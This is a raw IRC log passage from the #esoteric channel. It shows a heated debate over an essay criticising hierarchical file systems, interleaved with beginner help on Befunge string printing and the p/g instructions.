exploiting loopholes in the question :P < 1267565486 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Anyway, it does not propose a solution. < 1267565493 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It says /why/ we need a solution, and some aspects it should have. < 1267565528 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Okay, so to review, the right-to-left version of >:#,_ is _!,#: right? < 1267565533 0 :cpressey1!unknown@unknown.invalid NICK :cpressey < 1267565535 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Nope < 1267565561 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, photos often have inherent ordering due to "taken before/after" < 1267565569 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: It's _,#! #:< < 1267565573 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That's one particular ordering you can give them. < 1267565580 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Not an /inherent/ ordering. < 1267565584 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, the one the camera gives them and a rather useful one < 1267565590 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but sure < 1267565631 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, yeah, I just found the flaw. :) < 1267565663 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, also, for many purposes a directory/file name model fits very well < 1267565683 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Firstly, no it doesn't. Secondly, that doesn't mean there aren't better structures. < 1267565692 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, like, "project/{source_data.csv, report.tex}" < 1267565694 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or such < 1267565702 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sure. That's just a hierarchy. < 1267565710 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :of course, the file extension is another matter < 1267565718 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Here it is in OOP: project.source_data is-a Table < 1267565723 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :project.report is-a TypesetDocument < 1267565732 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :OOP is just one way you could represent that, of course. < 1267565736 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, typeset with what system < 1267565742 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It was an example, dammit. < 1267565745 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267565759 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So, you say that a superior way to represent the collection of photos would be as an unordered bag. < 1267565770 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, why not Document.Type.TypesetDocument.TeX.LaTeX? :P < 1267565774 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :A directory full of files *is* an unordered bag, except that each file has a unique label. < 1267565784 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr2.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1267565791 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :As far as I know, those labels never get in the way of anything. < 1267565802 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Here is an example path — just one of many possible sort of syntaxes — you could use. < 1267565803 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, as opposed to Document.Type.TypesetDocument.TeX.ConTeXt or Document.Type.TypesetDocument.roff.nroff < 1267565814 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :photos.select {takenAt==exactTimestamp} < 1267565816 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(or should that last one just be troff?) < 1267565820 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Perhaps my example was not the best. < 1267565825 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :My other points apply regardless, though. < 1267565826 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, ah, object database < 1267565829 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I see what your aim is < 1267565833 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: No, that's ONE EXAMPLE. < 1267565834 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I hate OOP. < 1267565836 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I don't want OOP. < 1267565839 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah okay < 1267565841 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But most people understand OOP. < 1267565853 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Most people wouldn't understand my system without lots of backstory to how it works :P < 1267565854 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, anyway the file name isn't used to order the files < 1267565865 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Never said it was. < 1267565874 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I guess programs have a reason for storing stuff in databases rather than directly in files. < 1267565884 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :In a collection of photos, no photo has an inherent “name” — one must be constructed from some arbitrary properties of the photo. If the properties are not chosen well enough, there might even be conflicts. These are usually resolved by appending a meaningless number to the photo considered later — even though there is no inherent ordering. < 1267565886 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The point is < 1267565891 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :we save photos to disk in a certain arbitrary ordering < 1267565903 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :we append -1,-2, etc when we've already seen a photo with the same generated name < 1267565908 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, well, ACID is a pretty good reason for some usages < 1267565915 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but "which ones have -1" is completely arbitrary and stupid < 1267565917 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :because there is no ordering < 1267565924 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :we're exposing an implementation detail of the disk-saver < 1267565940 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hmm, I like the idea of not exposing implementation details. < 1267565957 0 :MigoMipo!~migomipo@84-217-15-9.tn.glocalnet.net JOIN :#esoteric < 1267565966 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, there are good reasons to store images as png rather than raw uncompressed bits < 1267565972 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Read on. < 1267565973 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Read on. < 1267565977 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Read the whole section before commenting! Jesus. < 1267565991 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's not a long article, and it covers that point :P < 1267565995 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, also, what is the image format you suggest? What about 32 bit floating point numbers per channel? < 1267566001 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :READ < 1267566001 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ON < 1267566016 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Reading about Objective-C and how "transparent" it is really made me... < 1267566024 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Just one more question. What if I want to subtract a number and an already-pushed number in the reverse order that - does the job? < 1267566025 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: ...ontologise? < 1267566030 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Think about C and its pointers and how they're really inconvenient for a certain niche purpose. < 1267566063 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Also, although I doubt anyone here will ever want to link to this piece of complete and utter tripe :P, http://catseye.tc/ehird/files-suck.html is now a more permanent home for it. Thanks cpressey! < 1267566100 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, if I just dumped some of those panoramas I made to disk I would get images half a GB large. That is why you use deflate on them. Even between the programs used to operate on said files. < 1267566109 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Okay, I will say this one last time. < 1267566124 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I'm at the next section now < 1267566124 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Until you read the entire thing /I will not answer anything more you say about it/ because this is /covered/. < 1267566172 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :"Surely the very fact that we so often forget to save our files should set alarm bells off in the mind of anyone who wants to improve user interfaces."? < 1267566174 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that isn't true < 1267566182 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I usually save every half minute or such < 1267566193 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :"We" is not "you" < 1267566216 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, you forget to save files? < 1267566224 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I never met anyone that had that issue mentioned there really < 1267566226 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :"We" is not "me" either < 1267566254 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I've heard of people losing significant amounts of data come power failure or similar < 1267566320 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so I read it all < 1267566331 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, how would this transparent compression/parsing work then? < 1267566356 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, would it be in the OS? < 1267566360 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, now I read it all < 1267566363 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so you have to answer < 1267566385 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :alise's wording is so hilariously whiny that it's hard to figure out what parts are the actual arguments and which parts are just whining :P < 1267566392 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, true < 1267566406 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and the whole thing breaks down because there aren't common formats for many purposes < 1267566441 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :would there be a OS level supported document.cas for mathematica and maxima? < 1267566454 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(never mind that those aren't compatible in design at all) < 1267566473 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and then, png can't be used for HDR images < 1267566484 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :due to a lack of support for such things as floating point values per channel < 1267566524 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and the number of data formats that could be somewhat commonly supported is huge. And should you use lossy or loseless? < 1267566540 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Presumably, mathematica has a data structure it stores notebook files in. < 1267566564 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, also png doesn't support layers for example < 1267566576 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :would you use xcf or psd? Or something that supported both? < 1267566597 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You assume that there is one single type to represent images for everyone. < 1267566601 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, no < 1267566602 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You assume there is only one format per single type. < 1267566603 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't < 1267566609 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yes you do because your arguments are based on that. < 1267566615 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but I point out that apart from common data interchange formats this breaks down < 1267566635 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"[21:47] AnMaster: and then, png can't be used for HDR images" < 1267566640 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So HDRImage doesn't support the PNG backend. < 1267566651 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, What exactly is HDRImage? < 1267566655 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that sounds like a single thing < 1267566657 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which it is not < 1267566663 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And if you want to process HDR images in a special way that some standard HDRImage class wouldn't work for, just have your own HDRImage in your thing. < 1267566674 0 :ruhtranayr!~ruhtranay@c-76-112-204-68.hsd1.mi.comcast.net JOIN :#esoteric < 1267566763 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, sorry, but that statement doesn't mean anything until you define what you suggest a "standard HDRImage class" would be able to do < 1267566769 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Not a class. < 1267566779 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I copied that from you < 1267566782 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The vector class in a standard library may not be appropriate for all uses of vectors. < 1267566789 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :indeed < 1267566790 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Which is why you make your own if it's not suitable. < 1267566792 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Duh. < 1267566815 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, well, but point is then you need to define your own way to serialise it < 1267566821 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No. < 1267566834 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :All objects have a common serialisation format. If you want to use the standard image backends, call them according to their interface. < 1267566836 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :because what you don't want to do is store any HDR image raw. < 1267566840 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :My second Befunge program. :) < 1267566841 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :http://pastie.org/850663 < 1267566845 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that 500 MB is *after* deflate < 1267566846 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not before < 1267566850 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :See above. < 1267566854 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :before is several times larger < 1267566865 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, then you need to interface with it < 1267566874 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Deflate is a piss-poor compression format for most anything. ;) < 1267566888 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Trivial. Defining such a custom representation should not be very common, anyway. < 1267566893 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :There will be a library entirely for it, most likely. < 1267566893 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, you know png uses it? And that works out quite well < 1267566895 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: Note that if you don't really have a need to head left after printing, you can also use >:#,_v#: which heads down at the v when it's done < 1267566912 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Still crap. < 1267566916 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: I take it you, being sane, have mostly no objections to the article :P < 1267566923 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, also, since tiff is the common format here, you have basically packbits, lzw deflate to select from < 1267566930 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Eh, it's a bit whiny. But *shrug*. < 1267566931 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, and there, deflate beats the other ones < 1267566941 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I meant the contents, not the whininess. < 1267566948 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Mmm. < 1267566952 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Not especially. < 1267566985 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I didn't write it to be whiny, anyway. Maybe it's just because I'm almost certain I'm right :P < 1267566990 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I always found file systems a very nice way to organise data though. *shrug* < 1267566994 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Either that or I'm inherently whiny. < 1267566999 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, the latter! < 1267567017 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: 1, you don't know any better systems. 2, we've established that you're basically designed for using Unix. < 1267567018 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, also, go implement it < 1267567022 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I find that file systems work very well for organising very specific forms of data. < 1267567023 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That just makes /you/ faulty. :-) < 1267567024 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I am. < 1267567031 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I do like plan9 though < 1267567032 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Anything inherently hierarchical, basically. < 1267567034 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I have to write the principles to create a design to implement it. < 1267567047 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Which is no reason to make everything a tree, of course. < 1267567053 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I just don't want to use it for daily use due to the lack for certain things, like supporting my disk controller < 1267567059 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I find that hierarchical file systems fail where hierarchies fail. < 1267567060 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Yes. Just saying they work very well when a tree is natural. ;) < 1267567065 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(at least last I checked) < 1267567070 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Trees: Good for representing trees. < 1267567074 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, yes < 1267567080 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Yes. < 1267567089 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1267567128 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION would like to see an OS where you just stick values in data structures when you want them to be organised somehow.
< 1267567156 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, that is scheduled to be invented right after the "do what I mean" operation < 1267567159 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :What if I "p" a null or non-printable ASCII character to a position? Will the rest of the line shift left? < 1267567159 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hi, my OS here. I'd ask you to purchase me, but it's free. < 1267567166 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: What? You believe serialising data structures is hard? < 1267567168 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, still a few years off sadly :P < 1267567173 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Uh. < 1267567175 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, no... < 1267567179 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Orthogonal persistence: Yeah, serialise objects to disk. Easy. < 1267567184 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I'm asking for freaking Smalltalk. < 1267567188 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :A user interface where you create a data structure: That's what ... most UIs are. < 1267567195 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, ah, then I misunderstood you < 1267567218 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I just want to say "I want these images organised into a single group. I'll stick them into a bag." < 1267567231 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, I thought you meant like "here are some data structures with values, organise them in a sensible way" < 1267567249 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Nope. I want "Here are some values, stick them into this data structure." < 1267567250 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :my os is #usys btw, in case i haven't said that enough already < 1267567271 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, well, try mov ;P (intentional misinterpreting) < 1267567298 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :"Saving"? Bah. That's sync. < 1267567314 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Saving? Bah. That's done quicker than you can even notice. < 1267567318 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :actually saving makes sense sometimes < 1267567322 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :By the computer. < 1267567324 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :consider a database transaction < 1267567330 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you want things either complete or not done at all < 1267567333 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :"Saving" is an action derived from my level of interest in the data. < 1267567335 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :of course, that isn't the common case < 1267567347 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Incidentally, such an "auto-saving" system of course requires revision history. < 1267567352 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :What if I "p" a null or non-printable ASCII character to a position? Will the rest of the line shift left, potentially changing program flow? o.o < 1267567359 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Or just deleting the entire contents of a document would permanently erase it; obviously untenable. < 1267567363 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: I'm saying "Saving? Isn't that just making 100% sure it's on disk? ... So, sync()." < 1267567366 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So we have everything versioned! < 1267567366 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, you know how long saving a 700 MB image in RAM to disk takes? < 1267567367 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Woo hoo < 1267567374 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: No, you just get a weird character at that location. < 1267567383 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, even with no compression < 1267567387 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: One, deduplicative storage (plan 9 already does basically what i'm saying and it uses deduplicative storage < 1267567388 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :) < 1267567390 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Two, background tasks < 1267567396 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Three, compression if it would work well < 1267567396 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: You can read it back with "g", or try to execute it (at your peril) :) < 1267567407 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: More than it takes to record a 10k modification transaction to that image on disk. :P < 1267567421 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, 1) doesn't really work well when the data moved inside a block (and you can't do it per byte for obvious reason) < 1267567431 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Yes it does. < 1267567437 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Log storage. < 1267567442 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Four, it's stored in the cloud anyway. < 1267567448 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :These are solved problems. :) < 1267567453 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION stabs cpressey to death. Fatally!
< 1267567457 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Argh! < 1267567469 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, well sure... that would take long to rerun! That switch from one colour space to another < 1267567473 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :changing all the values < 1267567476 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, :P < 1267567494 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I think it's safe to just assume that for anything even remotely in this vicinity, "AnMaster doesn't get it" is pretty axiomatic < 1267567502 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries to regain credibility by explaining it's an actual cloud
< 1267567522 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: I like your thinking. < 1267567523 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I do see how it works for some cases. I just think the problems it solves are less than the new problems it introduces < 1267567526 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You're promoted < 1267567532 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: So clearly if you want fast access, you then have (in the background) a write of the switched-colour-space file. < 1267567545 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: The existence of Plan 9 and its use by people for actual work using venti/fossil prove that this is a solved problem. < 1267567553 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Because it does exactly this method of deduplicative storage. < 1267567563 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I never said venti was bad. On the contrary < 1267567565 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I love venti < 1267567566 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Solved problem. Seriously. Not interesting. No point discussing, because it's solved. < 1267567571 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: IT DOES EXACTLY WHAT I'M SAYING! < 1267567573 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I just think there are good and bad usages for it < 1267567577 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And if you wish to save space somehow, then you make the previous modification into a modification transaction that undoes that. < 1267567582 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You haven't even used it for serious stuff < 1267567588 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you just read about it on wikipedia, anyway < 1267567598 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, cool, cool. A VERY neat thing would be being able to "p" a some char to a line, shifting the rest of the line left. That'd make for some very cool SMC. :) < 1267567599 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I have used it in qemu < 1267567605 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and I liked it < 1267567607 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, to create a hello world file < 1267567621 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, ... why do you love making up shit? < 1267567621 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: The TOYS fingerprint has instructions for shifting lines and columns < 1267567649 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Because I realised this conversation was fruitless some years ago < 1267567675 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, maybe you would get more people interested if you wrote it in a less whiny style < 1267567682 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it shouldn't be hard < 1267567719 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's only whiny insofar as I've thought about these concepts for ages and ages now so my presentation isn't very gentle < 1267567731 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If I wanted to be a describer I wouldn't be a programmer < 1267567761 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, further, yes I agree on *some* points, but far from all. Most importantly that while I agree file systems are suboptimal, they are better than the alternatives I have seen so far (venti is nice for some purposes, but have fun using it a partition with scratch data, like /tmp) < 1267567769 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :How are the coordinates calculated for "g" and "p"? 0,0 | 0,1 // 1,0 | 1,1 ? < 1267567772 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1267567784 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :That being the first line, first character. :| < 1267567795 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Of course existing solutions suck, that's why I'm building a better one < 1267567802 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If there was an OS that didn't suck I wouldn't be making one < 1267567804 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, describe it < 1267567816 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :on a concrete level < 1267567825 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I haven't fully formulated it yet, only several outline designs, some concrete details, and some plans to combine them. < 1267567837 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :okay, that's a good start I guess < 1267567843 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So what the fuck am I meant to do, ignore the problem just because I'm not some magician who can pull a fully concrete solution out of thin air? No < 1267567845 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but can you provide the outline < 1267567856 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :alise: There's a difference between blunt and whiny. < 1267567858 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I do wonder if I'm patient enough but I could explain one. < 1267567862 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Yeah, well, I'm whiny. < 1267567864 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, agreed < 1267567871 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Deal with it. :p < 1267567885 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, we can whine about you being whiny, can't we? < 1267567889 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that way it evens out at least < 1267567902 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :alise: If you want our opinion, it is not our job to conform to you, it is your job to conform to us. And if you don't want our opinion, then why did you publish that file in here? < 1267567913 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I wrote it for one person actually per their request < 1267567917 0 